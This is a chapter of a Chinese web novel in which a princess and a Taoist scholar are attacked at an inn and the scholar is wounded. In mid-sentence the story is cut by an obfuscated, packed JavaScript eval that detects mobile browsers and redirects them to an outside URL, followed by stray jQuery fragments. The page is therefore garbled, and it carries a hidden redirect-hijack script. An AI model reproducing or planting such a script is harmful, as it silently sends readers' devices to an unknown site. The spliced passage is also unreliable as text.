7. 负伤

作品:《两心缠

    皇城十几里开外的客栈里来了两名天仙似的人物。马脸吊梢眉的伙计给开了一间天字号,拿着牌子回来,却听见二人争吵要几间房。


    伙计眼睛一转,忙道:“郎君,娘子,这两间房也是极好的嘛!”两间天字号,狠狠捞上一笔,可抵半载咯。


    头戴幕篱的女子火气好大,隔着幕篱都能感受到狠厉冷硬:“你闭嘴。”伙计硬生生接住这怒气,看见她腰上别着环首刀,背后寒毛竖起,面上还和善打哈哈:“这位客官,有话好说。”


    清贵男子和她不同,温润如玉,有如翩翩君子,令人如沐春风:“劳烦再开一间房。”


    “不许。”姜煐拧眉,“你是我的夫君,自然该同我住在一起。”


    裴颐之淡道:“在下记得您说过,出门在外该称呼您一句长姐。”


    姜煐眯眼,顺着他的话往下说,半笑不笑的:“好啊,我的好弟弟,你果然是有些癖好。”


    裴颐之面色不佳,马脸吊梢眉伙计的脸色更是精彩纷呈。


    伙计苍蝇搓手般:“那二位是……”


    姜煐泛起奇异微笑:“两间房。”


    玉清观的好马正在马厩中畅快饱腹,姜煐跟着裴颐之进了他的房间,解下环首刀,坐于椅上。


    眼下已经是后半夜,姜煐赶路至此时,觉得很是疲乏。她见裴颐之开窗通气,夜风吹动烛火,启唇道:“你后悔了?”


    裴颐之:“非也。在下算的卦,从不出错。”


    梁晗失踪之时,姜煐被情绪冲晕了头脑,待到冷静下来时,责令小道士们在整个宫观搜寻一遍,确认梁晗失踪事实,才道青玄天师处报备。


    她说她要离开,青玄天师仍旧盘坐,她说要带裴颐之离开,青玄天师适才有了反应,裴颐之也转过头看着她。


    “若离开裴颐之,我不知自己能维持几时。”


    青玄天师叹气:“颐之,还记得为师所言吗?”


    裴颐之垂下眼眸:“徒儿不敢忘。”


    “我曾劝你母亲,欲求一世无忧,当远离盛京。她依旧将你送到这宫观中。那时你年幼无主,初感于天,盛名传遍盛京,陛下很快留意到裴家,许你以建宁侯嫡子的身份在此修行。”


    裴颐之拱手:“家母所求,颐之亦懂。”


    青玄天师拿到卜卦器具,掷于案上。


    “明安郡主失踪一事,与你无干。是走是留,全凭你心所愿,一卦言之。”


    姜煐看不懂卦象。


    明白卦象的两个人全程未置一言,待裴颐之收起卜卦器具,姜煐还以为裴颐之算出不去的结果,谁知他转过身,对姜煐低声说道:“子时需动。”


    青玄天师又叹气。


    既是去,青玄天师何必连连叹气?


    姜煐扬笑道:“天师何苦叹息?莫说当今陛下,便是十年之后,盛京依旧离不开裴颐之,本宫亦离不开裴颐之,他乃大景良臣,此乃命中注定。”


    青玄天师摇头:“正是因此叹息啊。”


    姜煐面色不善,青玄天师站起来,从刀架上拿下一把称手的环首刀,交付给她。


    “我老了,天命将归。颐之有镜,那么此刀赠予殿下,愿环首相顾,方得始终。”


    回想起青玄天师为她递刀的情景,姜煐把玩桌上环首刀,问道:“裴颐之,我都有些好奇了。你既信你的卦象,你心里便这般想么?”


    裴颐之说:“在下如何想,不重要。”


    “怎么会不重要。”姜煐掐着手指,说,“我现在知道青玄天师是如何想的,我是如何想的,我都能猜到你母亲是如何想的,可我偏偏猜不中你是怎么想的。”


    “我母亲……殿下能猜中?”


    “建宁侯府没落,自然是拿你当敲门砖。”姜煐道。这点小心思只能说是常见,普通,平庸。


    裴颐之笑了笑,不言对错。


    “至于你嘛,打不还手,骂不会说,对我总是百依百顺,连疼都没感觉。我现在怀疑……”姜煐忽而停下。


    裴颐之问:“怀疑什么?”


    “怀疑你未尝吐露过真心,从未喜欢过我。”姜煐面色古怪,“……不对,肯定喜欢过。是现在还不喜欢而已。”


    姜煐看出裴颐之本不想接话,可她目光直白,以裴颐之的修养,不得不云淡风轻地回复她:“是吗。”


    “你看我的眼神不一样。”姜煐懒洋洋地托着脸,眉眼舒展,望他烛光下半明半暗的清隽面庞,“虽则你如今爱笑,实则未曾笑在眼底。我习惯你看我时眼睛亮晶晶的模样,很容易分别。”


    裴颐之垂头,避开她的目光,笑道:“殿下,该歇息了。”


    -


    姜煐赖在房中缠着他,说手脚酸软,实在使不上劲,要他帮她。裴颐之没办法,催着伙计拾掇好一切,拉着姜煐去面盆架上洗漱。


    姜煐要他帮她卸钗环,他竟也肯照做,只是再亲密的却是不肯了。


    姜煐将环首刀放在枕上,舒舒服服躺进被褥中睡了,裴颐之探她红绳,赤金桃木微微发烫,她亦是发着烫,料想是情绪大起大落,人偶身不能承受。


    他把窗关上,准备离开,姜煐迷迷糊糊地问:“裴郎要走?”


    “殿下有事可唤在下。”


    姜煐脑中昏沉:“裴郎写‘敬申寸悃、勿劳赐覆。’时在想什么?”


    裴颐之蹙眉,不知她所云。


    月影西沉,再往后,便要迎来熹光。他有彻夜读书的经历,却没有与女子彻底相处的过往。他静待半晌,见姜煐不再言语,轻轻离去。


    姜煐在做梦。


    梦里她还在十年后的帝位上,裴颐之没有落得小孩心智,在一个春日中和她交谈。


    “陛下,臣为国为民,实乃本分,从不敢肖想陛下。”


    姜煐指责他为言不善,要么落入昭狱,要么做她皇夫,自己选一个便是。裴颐之笑着,问她是不是真的。


    她说,自然是真的。


    裴颐之选择了她。


    海棠花下,裴颐之用力抱住她,心勃勃跳动着,可还未体味一二,她便被一把长剑刺穿心脏,被他推到地上。


    “臣从未喜欢过陛下。”他双眸亮晶晶的,擦过长剑上的血,“你残暴荒虐,怎配为君?”


    他再抬手,眼见长剑将要落下,姜煐猛然睁眼,听见隔壁传来一阵剑鸣,桌椅挪动一声接着一声,不由紧绷着坐起来。


    是裴颐之的房间!


    她暂且忘了噩梦,拿起环首刀,推开


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234693|166033||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    门,小心翼翼地逼近隔壁天字号房,蓄势拔刀。推开门后,还未适应黑暗的双眼没看见一刀对着她砍下来,但熟悉的剑鸣声已临在耳,她上撩拔刀,吃力接住对方剑气,往后退了一步。


    她双眸再探,见贼人挥剑再来,剑剑欲取她性命。她闪避至屋内,被圆椅绊倒,剑立马砸下,她一个翻身站起,趁着剑嵌于实木之中,横刀飞撩划过贼人脖颈。


    贼人警觉,往后仰身,刀尖将将划破他的衣领。姜煐霎时问到一股熟悉的血腥气,伸脚踹去,他连忙后退,捂住脖颈下侧。


    短剑落于地面,裴颐之拾起。贼人见状翻身下窗,姜煐追过去,不过须臾,贼人便消失不见。


    “悄无声息,好功夫。”姜煐已经能在黑暗中辨明他物。她回身燃起烛火,见染着血的短剑置于桌上,遗憾道,“普通短剑,并无印记。”


    意思是,不能从这把短剑上得到任何痕迹。可谁会知道他们来这里呢?


    道宫……


    不。


    姜煐脑中一闪,是姜烨。


    那日玄盛见了她后,将消息告诉了姜烨。他光天化日之下在当着她的面强抢民女,还妄图行刺,简直是胆大包天!


    姜煐背靠墙坐下,迅速清理思路,按照惯例说给裴颐之听,却不想,那阵血腥气没有消散,反而更加浓重。


    裴颐之脸色苍白地坐在桌前,嘴唇无一丝颜色,虚虚喘着气,垂着眸,长睫如蝶颤。


    姜煐从短剑上的血迹一路跟着,看见他青色道袍上印着深色梅花点点,探手摸过去,果然摸到满手黏腻。


    “殿下,别……”裴颐之惨白颜色,道:“在下不善武艺,叫殿下见笑了。”


    姜煐解开他衣袍,看见一道道血从上面流下来,肩膀上藏着一道深深的刀痕,鲜血汨汨不止,令人不安。


    她皱起眉,觉得心中很不痛快,说不出得难受。她见房中杂乱非常,勒令裴颐之今晚睡在她的房中,没想到他仍是拒绝。


    姜煐愣愣地看着他,不敢置信。


    她的语调轻飘飘的:“裴颐之,你痛不痛?不痛吗,好痛呀,我看见觉得好痛。”


    她掐住他的手,不是想要他镇静,而是想要自己镇静下来,可三番四次因为滑腻的血脱离,裴颐之推开她,说:“咳……咳咳,殿下离我远些。”


    姜煐倏尔抬头:“你说什么?”


    他含着往常一样的淡淡的笑,被疼痛侵扰的眼瞳如黑夜悠长:“别弄脏了殿下的衣裳。”


    姜煐收起神情,冷得可怕。


    她站起来,指着裴颐之说:“你把嘴给孤嘴闭上,即刻去房中,再多有一句——”


    格杀勿论,满门抄斩。


    她双睫颤了颤,意识到这句她常说的话此时并不管用。裴颐之不是她以血腥手段夺得的帝位,而是她意欲弥补的遗憾。


    她又想起方才噩梦,怕这是她心魔中的报应,紧紧抿着双唇,没让这八个字逃出口。


    夜风柔静,唤醒她沉着心绪。


    她闭上眼,再睁开时,眼中没有恣意妄为的戏弄,也没有冰冷绝意的固执。


    姜煐捧住他的脸,两只手轻轻颤抖着,垂下头,连声音都在发抖:“你别死,裴颐之,我害怕呢。”